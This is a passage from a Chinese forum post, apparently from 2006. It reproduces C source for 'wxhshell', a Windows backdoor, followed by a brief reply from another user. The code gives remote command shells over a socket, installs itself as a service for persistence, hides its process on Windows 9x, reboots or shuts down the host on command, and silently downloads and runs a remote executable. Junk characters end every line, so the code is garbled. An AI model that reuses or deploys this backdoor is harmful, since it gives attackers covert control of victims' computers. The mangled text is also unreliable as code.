  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y wu > k  
  if(DownloadFile(cmd,wsh)) :`<ME/"YE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o3,}X@p  
  else \SyG#.$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Hm1ispq  
  } m ^ '!  
  else { #H-EOXy  
..;ep2jSs  
    switch(cmd[0]) { s_4y^w]aX  
  E:ti]$$  
  // 帮助 Ck>{7 Gw  
  case '?': { |?<^4U8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $b`~KMO  
    break; 4H_QQ6  
  } e=sV>z>  
  // 安装 Yc2dq e>  
  case 'i': { 0}qnq"  
    if(Install()) Jm[_X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :]uz0s`>  
    else  RI&V:1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K %.>o  
    break; XkEE55#>|  
    } jSdW?IH  
  // 卸载 3F?_{A  
  case 'r': { !~ fy".|x  
    if(Uninstall()) 6YF<GF{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nl+8C}=u  
    else ,KFF[z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3e ?J#;  
    break; g66x;2Q  
    } EWK?vs  
  // 显示 wxhshell 所在路径 P\{ }yd  
  case 'p': { 8[L]w^  
    char svExeFile[MAX_PATH]; q"Th\? }%  
    strcpy(svExeFile,"\n\r"); 6L,"gF<n  
      strcat(svExeFile,ExeFile); s7"5NU-  
        send(wsh,svExeFile,strlen(svExeFile),0); O~4Q:#^c  
    break; :b"&Rc&s.  
    } Hh`HMa'q  
  // 重启 \W+Hzf] W#  
  case 'b': { :@#6]W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OCv,EZ  
    if(Boot(REBOOT)) >gf,8flgj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P0ZY;/e5h  
    else { DSL3+%KF#  
    closesocket(wsh); q$7/X;A  
    ExitThread(0); pIl[)%F  
    } 1a_;(T  
    break; ;uN&yj<}a  
    } Zy=DY  
  // 关机 ]/{iIS_  
  case 'd': { V@pUU~6R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nQ08(8  
    if(Boot(SHUTDOWN)) N4$ K {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ls/*&u  
    else { |u_fVQj  
    closesocket(wsh); tOxTiaa=  
    ExitThread(0); 04#<qd&ob@  
    } Tl L\&n.$  
    break; j|%>NB ):  
    } 3,)[Q?nKD  
  // 获取shell *QA{xvT  
  case 's': { dfWtLY  
    CmdShell(wsh); UY^TTRrH  
    closesocket(wsh); \:9<d@?  
    ExitThread(0); VfkQc$/  
    break; L7nW_  
  } BE)&.}l  
  // 退出 MN[D)RKh;  
  case 'x': {  & {=}U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [7h/ 2La#  
    CloseIt(wsh); V>& 1;n  
    break; Yd]  
    } a^7QHYJ6  
  // 离开 b]g#mQ  
  case 'q': { 0.0r?T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6 jU ?~  
    closesocket(wsh); .$a|&P=S  
    WSACleanup(); 'RZ0,SK'  
    exit(1); cS(=wC  
    break; @YbZ"Jb  
        } _V(FHjY  
  }  z uI7Px  
  }  3 EOuJ  
FZtT2Z4&i  
  // 提示信息 L b-xc]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N9 TM  
} :;KQ]<  
  } t@!A1Vr@  
WXd#`f%  
  return; IAMtMO^L  
} H^<?h6T  
 Y}e3:\  
// shell模块句柄 dpcU`$kt  
int CmdShell(SOCKET sock) \d-9Ndp nf  
{ *Rgl(Ba  
STARTUPINFO si; k,LaFe`W  
ZeroMemory(&si,sizeof(si)); 7ea%mg\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #6mr'e1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xtK}XEhG!  
PROCESS_INFORMATION ProcessInfo; 6\USeZh  
char cmdline[]="cmd"; @?5pY^>DK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 11RqP:zg  
  return 0; *0Wkz'=U  
} J3hhh(  
?;GXFKy  
// 自身启动模式 \-D[C+1(  
int StartFromService(void) jJAr #|  
{ Z_s]2y1  
typedef struct F%$l cQ04%  
{ F`CDv5  
  DWORD ExitStatus; Sobp;OZ5  
  DWORD PebBaseAddress; 3:bP>l!  
  DWORD AffinityMask; Kl]l[!c7$  
  DWORD BasePriority; \qJ cs'D  
  ULONG UniqueProcessId; r=#v@]z B  
  ULONG InheritedFromUniqueProcessId; `$ pJ2S  
}   PROCESS_BASIC_INFORMATION; @ 1FWBH~  
jQ['f\R  
PROCNTQSIP NtQueryInformationProcess; [ nLd>2P  
`KUL 4) g~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,15$$3z/E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7pM&))R  
b6g/SIae  
  HANDLE             hProcess; c*",AZ>U  
  PROCESS_BASIC_INFORMATION pbi; c=<^pCa9t1  
\6!s";=hQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ict+|<f  
  if(NULL == hInst ) return 0; `HILsU=|  
oI"gQFGu`u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G Q}Rxu]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j]m|}n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XsX];I{E,  
'y7<!uo?  
  if (!NtQueryInformationProcess) return 0; ^_/gM[H.  
YGhHIziI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x$KQ*P~q  
  if(!hProcess) return 0; L#fSP  
J]|S0JC`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3iw. yR  
S*%:ID|/C2  
  CloseHandle(hProcess); 0>:`|IGnT2  
NN~PWy1opa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $'KhA6u  
if(hProcess==NULL) return 0; ~R7{gCqdr  
GK&R.R]  
HMODULE hMod; CJ[e^K{  
char procName[255]; Ni#y=cb  
unsigned long cbNeeded; v1$ }JX   
:<uCi\9(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d.k'\1o  
j6Au<P  
  CloseHandle(hProcess);  /UtSZ(  
]0g1P-&,U  
if(strstr(procName,"services")) return 1; // 以服务启动 N@8tf@BT   
w[J.?v&^  
  return 0; // 注册表启动  (Kj>Ao  
} #-/_J?  
4Yd$RP  
// 主模块 |UN#utw{^Y  
int StartWxhshell(LPSTR lpCmdLine) (qDJgf4fgn  
{ CFeAKjG  
  SOCKET wsl; *2Q x69`  
BOOL val=TRUE; *-gmWATC6  
  int port=0; $}P>_bq  
  struct sockaddr_in door; x5,|kJ9S  
cBU@853  
  if(wscfg.ws_autoins) Install(); <<6gsKP  
fa,;Sw  
port=atoi(lpCmdLine); ~TjTd  
c}w[ T  
if(port<=0) port=wscfg.ws_port; [yVcH3GcjI  
'h 7n}  
  WSADATA data; cyWDtq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4}Hf"L[ l  
Co`:D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X iM{YZ`B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ar@ysBy  
  door.sin_family = AF_INET; M+lI,j+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #J%Fi).^)  
  door.sin_port = htons(port); [Rzn>  
&sGLm~m#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zk0?=f?j  
closesocket(wsl); ?{>5IjL)en  
return 1; \?AA:U*  
} kaVYe)~  
v[>8<z8  
  if(listen(wsl,2) == INVALID_SOCKET) { %Z(lTvqG  
closesocket(wsl); B9oB5E  
return 1; r`C t/]c  
} XNkQ0o0  
  Wxhshell(wsl); 7` t,   
  WSACleanup(); ? \NT'CG  
E9j(%kQ2  
return 0; j{P3o<l&`  
0vM,2:kf*  
} ;+Mr|vweTC  
DkBVk+  
// 以NT服务方式启动 e3kdIOu5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2^&5D,}0  
{ Zh_ P  
DWORD   status = 0; < !]7Gt  
  DWORD   specificError = 0xfffffff; AI2>{V  
VM"*@T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UFUm-~x`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rE\.[mFI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  34~[dY  
  serviceStatus.dwWin32ExitCode     = 0; cS"PIelR  
  serviceStatus.dwServiceSpecificExitCode = 0; {1W,-%  
  serviceStatus.dwCheckPoint       = 0; %$F\o1S  
  serviceStatus.dwWaitHint       = 0; !Ly1!;<  
dH0wVI<z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FBrJVaF  
  if (hServiceStatusHandle==0) return; 6}PoBhgSg-  
U &y?3  
status = GetLastError(); 8wA'a'V.  
  if (status!=NO_ERROR) sg,9{R ^  
{ 3<HPZWc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9_pOV%Qs  
    serviceStatus.dwCheckPoint       = 0; ~ph>?xuw  
    serviceStatus.dwWaitHint       = 0; |C;*GeyS;J  
    serviceStatus.dwWin32ExitCode     = status; V$ac}A,!  
    serviceStatus.dwServiceSpecificExitCode = specificError; |HK/*B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l # F.S5i  
    return; GK:pt8=  
  } U`ELd:  
NGb\e5?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _xU2C<)1&  
  serviceStatus.dwCheckPoint       = 0; WG3 .qLH%  
  serviceStatus.dwWaitHint       = 0; g [+_T{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xr-v"-  
} >]WQ1E[=  
5K?%Eo72!=  
// 处理NT服务事件,比如:启动、停止 o^~KAB7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Le}-F{~`^  
{ ;]SP~kG  
switch(fdwControl) #[Vk#BIiv8  
{ pJ]i)$M  
case SERVICE_CONTROL_STOP: 3UQ~U 8  
  serviceStatus.dwWin32ExitCode = 0; 0"$'1g^]7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /<oBgFMoJ  
  serviceStatus.dwCheckPoint   = 0; G7H'OB &  
  serviceStatus.dwWaitHint     = 0; rfxLCiV  
  { )wz3 m L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )F4P-u  
  } 6B>H75S+H  
  return; }K\m.+%=d  
case SERVICE_CONTROL_PAUSE: < 5#}EiT5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; { Sn J  
  break; SiSx ym  
case SERVICE_CONTROL_CONTINUE: -pm^k-%v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /|{~GD +A&  
  break; 9`sIE_%+  
case SERVICE_CONTROL_INTERROGATE: ]Q0+1'yuK  
  break; p*]nCUs}n  
}; w.\#!@kZ!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pwO U6A!  
} j#E&u*IR  
|\ 4cQ  
// 标准应用程序主函数 B":u5_B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &c1zEgl  
{ :u>9H{a  
\d{S3\7  
// 获取操作系统版本 F^|4nBd*ub  
OsIsNt=GetOsVer(); 6)~J5Fb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \)n'Ywr  
>0qe*4n|M  
  // 从命令行安装 iu 6NIy7D  
  if(strpbrk(lpCmdLine,"iI")) Install(); $N)b6(}F10  
O* 7` Waag  
  // 下载执行文件 Vy[ m%sEP  
if(wscfg.ws_downexe) { z gDc=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) seo.1.Da2  
  WinExec(wscfg.ws_filenam,SW_HIDE); }~`l!ApD  
} j -j,0!T~b  
)YP 9  
if(!OsIsNt) { "kT?9&  
// 如果时win9x,隐藏进程并且设置为注册表启动 wsLfp82  
HideProc(); Ykd< }KE>  
StartWxhshell(lpCmdLine); Kwa$5qZI  
} 9n[ovX 7n!  
else s0x;<si_  
  if(StartFromService()) #y&O5    
  // 以服务方式启动 L@HWm;aN  
  StartServiceCtrlDispatcher(DispatchTable); S 2SJFp  
else 41V}6+$g  
  // 普通方式启动 +Qe&#"O0  
  StartWxhshell(lpCmdLine); '+ cPx\4  
THbV],RhJ  
return 0; q!P{a^Fnc  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八